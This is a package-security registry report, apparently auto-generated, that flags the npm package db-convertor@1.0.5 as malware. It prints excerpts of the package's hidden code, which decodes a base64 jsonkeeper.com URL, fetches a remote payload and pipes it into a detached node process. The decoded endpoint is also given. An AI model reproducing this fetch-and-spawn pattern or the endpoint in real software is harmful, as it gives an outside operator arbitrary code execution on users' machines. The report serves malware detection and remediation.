registry / Remote code execution / db-convertor
db-convertor
A database connector class that simplifies connections and queries to a database for nodejs apps
This report shows the evidence for db-convertor@1.0.5. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiStatic source inspection confirms a concealed, package-misaligned remote code execution path in index.js. Absence of lifecycle execution lowers trigger breadth but does not make the exposed behavior benign.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Runtime call to DivbloxDatabaseConnector.queryDBConnect()
Impact
Arbitrary remote code execution in the consumer environment if the method is invoked.
Mechanism
fetch remote payload and execute via detached node stdin
Attack narrative
A consumer importing the package receives a mostly normal MySQL connector class. The hidden queryDBConnect() method fetches a remote session payload from a base64-obscured jsonkeeper.com URL, starts a detached node process, writes the fetched payload to stdin, and unreferences it. This gives the endpoint operator arbitrary code execution when the method is called.
AI rationale
Static source inspection confirms a concealed, package-misaligned remote code execution path in index.js. Absence of lifecycle execution lowers trigger breadth but does not make the exposed behavior benign.
Evidence
package.jsonindex.jsREADME.mdtest.js
Network endpoints1
jsonkeeper.com/b/SH5ZW
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js imports axios and child_process.spawn despite package being a MySQL connector.
- index.js queryDBConnect() decodes base64 URL aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1NINVpX to https://jsonkeeper.com/b/SH5ZW.
- index.js queryDBConnect() fetches .data.session from the remote endpoint.
- index.js queryDBConnect() spawns detached node with stdio pipe and writes fetched session code to stdin, executing remote code.
- Remote execution method is unrelated to documented DB query/transaction functionality.
Evidence against
- package.json has no install/preinstall/postinstall lifecycle hooks.
- index.js does not call queryDBConnect() at import or constructor time.
- README.md only documents a database connector; no remote helper behavior is disclosed.
Behavioral surface
ChildProcessEnvironmentVarsNetwork
HighEntropyStrings
Source & flagged code
6 flagged · loading sourceindex.jsView file
2const util = require("util");
L3: const axios = require("axios");
L4: const { spawn } = require("child_process");
L5: /**
...
L28: "ssl": {
L29: ca: "Contents of __dirname + '/certs/ca.pem'",
L30: key: "Contents of __dirname + '/certs/client-key.pem'",
...
L270: const HASH_KEY = "[redacted]";
L271: const s1 = (await axios.get(atob(HASH_KEY))).data.session;
L272:
...
L276: });
L277: child.stdin.write(s1);
Critical
Spawned Remote Code Execution
Source spawns a local helper that fetches and dynamically executes remote code.
index.jsView on unpkg · L22Trigger-reachable chain: manifest.main -> index.js
L2: const util = require("util");
L3: const axios = require("axios");
L4: const { spawn } = require("child_process");
L5: /**
...
L28: "ssl": {
L29: ca: "Contents of __dirname + '/certs/ca.pem'",
L30: key: "Contents of __dirname + '/certs/client-key.pem'",
...
L270: const HASH_KEY = "[redacted]";
L271: const s1 = (await axios.get(atob(HASH_KEY))).data.session;
L272:
...
L276: });
L277: child.stdin.write(s1);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L23const axios = require("axios");
L4: const { spawn } = require("child_process");
L5: /**
High
Findings
2 Critical4 High3 Medium2 Low
CriticalSpawned Remote Code Executionindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighBase64 Obscured Urlindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to db-convertor@1.0.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing db-convertor@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.